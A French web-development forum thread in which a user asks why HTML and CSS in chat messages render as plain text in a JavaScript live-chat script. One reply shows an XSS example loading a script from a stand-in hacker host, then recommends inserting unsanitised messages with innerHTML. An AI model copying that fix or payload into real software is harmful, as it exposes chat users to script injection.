Précédent   Forum des professionnels en informatique > Webmasters - Développement Web > JavaScript
JavaScript Forum programmation JavaScript. Lire : Cours JavaScript, FAQ JavaScript, Toutes les FAQ JavaScript et Sources JavaScript
Partagez cette discussion sur d'autres réseaux sociaux : Viadeo Twitter Google Facebook Digg Delicious MySpace Yahoo
Réponse Proposer ce sujet en actualité
 
Outils de la discussion
Publicité
'
Vieux 14/01/2012, 17h37   #1
Membre à l'essai
 
Inscription : août 2010
Messages : 116
Détails du profil
Informations forums :
Inscription : août 2010
Messages : 116
Points : 22
Points : 22
Par défaut [JS] affichage CSS & HTML

Bonjour les amis,
J'ai un script JS que j'ai utilisé pour un chat instantané, mais le problème qui se pose c'est que je n'arrive pas à affiché de CSS dans les messages ni de HTML

Voila le code JS:
Code :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
// XHTML live Chat
// author: alexander kohlhofer
// version: 1.0
// http://www.plasticshore.com
// http://www.plasticshore.com/projects/chat/
// please let the author know if you put any of this to use
// XHTML live Chat (including this script) is published under a creative commons license
// license: http://creativecommons.org/licenses/by-nc-sa/2.0/
 
 
 
 
var GetChaturl = "getChatData.php";
var SendChaturl = "sendChatData.php";
var lastID = -1; //initial value will be replaced by the latest known id
window.onload = initJavaScript;
 
function initJavaScript() {
	document.forms['chatForm'].elements['chatbarText'].setAttribute('autocomplete','off'); //this non standard attribute prevents firefox' autofill function to clash with this script
	checkStatus(''); //sets the initial value and state of the input comment
 
	receiveChatText(); //initiates the first data query
}
 
//initiates the first data query
function receiveChatText() {
	if (httpReceiveChat.readyState == 4 || httpReceiveChat.readyState == 0) {
  	httpReceiveChat.open("GET",GetChaturl + '?lastID=' + lastID + '&rand='+Math.floor(Math.random() * 1000000), true);
    httpReceiveChat.onreadystatechange = handlehHttpReceiveChat; 
  	httpReceiveChat.send(null);
	}
}
 
//deals with the servers' reply to requesting new content
function handlehHttpReceiveChat() {
  if (httpReceiveChat.readyState == 4) {
    results = httpReceiveChat.responseText.split('---'); //the fields are seperated by ---
    if (results.length > 2) {
	    for(i=0;i < (results.length-1);i=i+3) { //goes through the result one message at a time
	    	insertNewContent(results[i+1],results[i+2]); //inserts the new content into the page
	    }
	    lastID = results[results.length-4];
    }
    setTimeout('receiveChatText();',4000); //executes the next data query in 4 seconds
  }
}
 
//inserts the new content into the page
function insertNewContent(liName,liText) {
	insertO = document.getElementById("outputLis");
	oLi = document.createElement('li');
	oSpan = document.createElement('span');
	oSpan.setAttribute('className','name'); //for IE's sake
	oSpan.setAttribute('class','name');
	oName = document.createTextNode(liName+': ');
	oText = document.createTextNode(liText);
	oSpan.appendChild(oName);
	oLi.appendChild(oSpan);
	oLi.appendChild(oText);
	insertO.insertBefore(oLi, insertO.firstChild);
}
 
//stores a new comment on the server
function sendComment() {
 
	currentChatText = document.forms['chatForm'].elements['chatbarText'].value;
	if (currentChatText != '' & (httpSendChat.readyState == 4 || httpSendChat.readyState == 0)) {
 
		param = 'c='+ currentChatText;	
		httpSendChat.open("POST", SendChaturl, true);
		httpSendChat.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
  	httpSendChat.onreadystatechange = handlehHttpSendChat;
  	httpSendChat.send(param);
  	document.forms['chatForm'].elements['chatbarText'].value = '';
	} else {
		setTimeout('sendComment();',1000);
	}
}
 
//reponse du prof
function sendComment2() {
    Chatou = document.forms['chatForm2'].elements['chatou'].value;
	currentChatText = document.forms['chatForm2'].elements['chatbarText2'].value;
 
	if (currentChatText != '' & (httpSendChat.readyState == 4 || httpSendChat.readyState == 0)) {
 
		param = 'c='+ currentChatText +'&d='+ Chatou;	
		httpSendChat.open("POST", SendChaturl, true);
		httpSendChat.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
  	httpSendChat.onreadystatechange = handlehHttpSendChat;
  	httpSendChat.send(param);
  	document.forms['chatForm2'].elements['chatbarText2'].value = '';
	document.forms['chatForm2'].elements['hidden2'].value = '';
	} else {
		setTimeout('sendComment2();',1000);
	}
}
 
//deals with the servers' reply to sending a comment
function handlehHttpSendChat() {
  if (httpSendChat.readyState == 4) {
  	receiveChatText(); //refreshes the chat after a new comment has been added (this makes it more responsive)
  }
}
 
 
//does celver things to the input and submit
function checkStatus(focusState) {
	currentChatText = document.forms['chatForm'].elements['chatbarText'];
	oSubmit = document.forms['chatForm'].elements['submit'];
	if (currentChatText.value != '' || focusState == 'active') {
		oSubmit.disabled = false;
	} else {
		oSubmit.disabled = true;
	}
}
 
//does celver things to the input and submit (prof)
function checkStatus2(focusState) {
	currentChatText = document.forms['chatForm2'].elements['chatbarText2'];
	oSubmit = document.forms['chatForm2'].elements['submit2'];
	if (currentChatText.value != '' || focusState == 'active') {
		oSubmit.disabled = false;
	} else {
		oSubmit.disabled = true;
	}
}
 
 
//initiates the XMLHttpRequest object
//as found here: http://www.webpasties.com/xmlHttpRequest
function getHTTPObject() {
  var xmlhttp;
  /*@cc_on
  @if (@_jscript_version >= 5)
    try {
      xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
    } catch (e) {
      try {
        xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
      } catch (E) {
        xmlhttp = false;
      }
    }
  @else
  xmlhttp = false;
  @end @*/
  if (!xmlhttp && typeof XMLHttpRequest != 'undefined') {
    try {
      xmlhttp = new XMLHttpRequest();
    } catch (e) {
      xmlhttp = false;
    }
  }
  return xmlhttp;
}
 
 
// initiates the two objects for sending and receiving data
var httpReceiveChat = getHTTPObject();
var httpSendChat = getHTTPObject();
Je suis sûre que y a une fonction qui bloque le css&html.
Merci de donner votre avis.
NB: Coté PHP j'ai vérifié de fond en comble mais rien qui empêche l'affichage de html, et dans le partie SQL aussi ...

Merci encore une fois.
Stalk3R est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 14/01/2012, 20h13   #2
Membre à l'essai
 
Inscription : août 2010
Messages : 116
Détails du profil
Informations forums :
Inscription : août 2010
Messages : 116
Points : 22
Points : 22
Sachant que quand je met:
Code :
oText = document.innerHTML(liText);
à la place de:
Code :
oText = document.createTextNode(liText);
Le code n'affiche pas les messages.
Stalk3R est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 14/01/2012, 22h09   #3
Membre Expert
 
Avatar de Watilin
 
Homme Matilin Torre
Étudiant
Inscription : juin 2010
Messages : 679
Détails du profil
Informations personnelles :
Nom : Homme Matilin Torre
Âge : 23
Localisation : France, Ille et Vilaine (Bretagne)

Informations professionnelles :
Activité : Étudiant

Informations forums :
Inscription : juin 2010
Messages : 679
Points : 1 202
Points : 1 202
Salut,
c'est tout à fait normal. Petit exemple :
Code :
1
2
3
var str = '<script src="http://site-de-hacker.com/trojan"></script>';
var textNode = document.createTextNode(str);
document.getElementById('affichage').appendChild(textNode);
Ce script provoque l'affichage de la chaîne « <script src="http://site-de-hacker.com/trojan"></script> », qui n'est pas interprétée comme du HTML. Ainsi, le script de la page de hacker n'est pas chargé dans ton navigateur, et ton ordinateur n'est pas infecté…

Ceci est le comportement normal de la fonction createTextNode. Comme son nom l'indique, elle crée du texte. Juste du texte.

Si tu veux créer du code HTML, tu t'exposes à des attaques XSS comme celle que je viens de te montrer (même si la mienne est grossièrement exagérée). Ton intuition d'utiliser innerHTML était la bonne, tu as juste un problème de syntaxe. La syntaxe correcte est :
Code :
oLi.innerHTML += liText;
innerHTML est la chaîne (de type String, donc) qui contient le code HTML de l'élément et de son contenu. À chaque fois qu'on la modifie, elle est réinterprétée par le navigateur pour modifier le DOM et reconstruire l'affichage. Comme il s'agit d'une chaîne, j'utilise la concaténation += pour ajouter du contenu.

__________________
Disposition de clavier ergonomique française : Bépo
Watilin est déconnecté   Envoyer un message privé Réponse avec citation 10
Vieux 15/01/2012, 12h15   #4
Membre à l'essai
 
Inscription : août 2010
Messages : 116
Détails du profil
Informations forums :
Inscription : août 2010
Messages : 116
Points : 22
Points : 22
Merci beaucoup pour votre réponse Watilin, c'est très gentil de votre part

Merci.
Stalk3R est déconnecté   Envoyer un message privé Réponse avec citation 00
Réponse Proposer ce sujet en actualité
Outils de la discussion



Fuseau horaire GMT +2. Il est actuellement 23h33.


 
 
 
 
Partenaires

Hébergement Web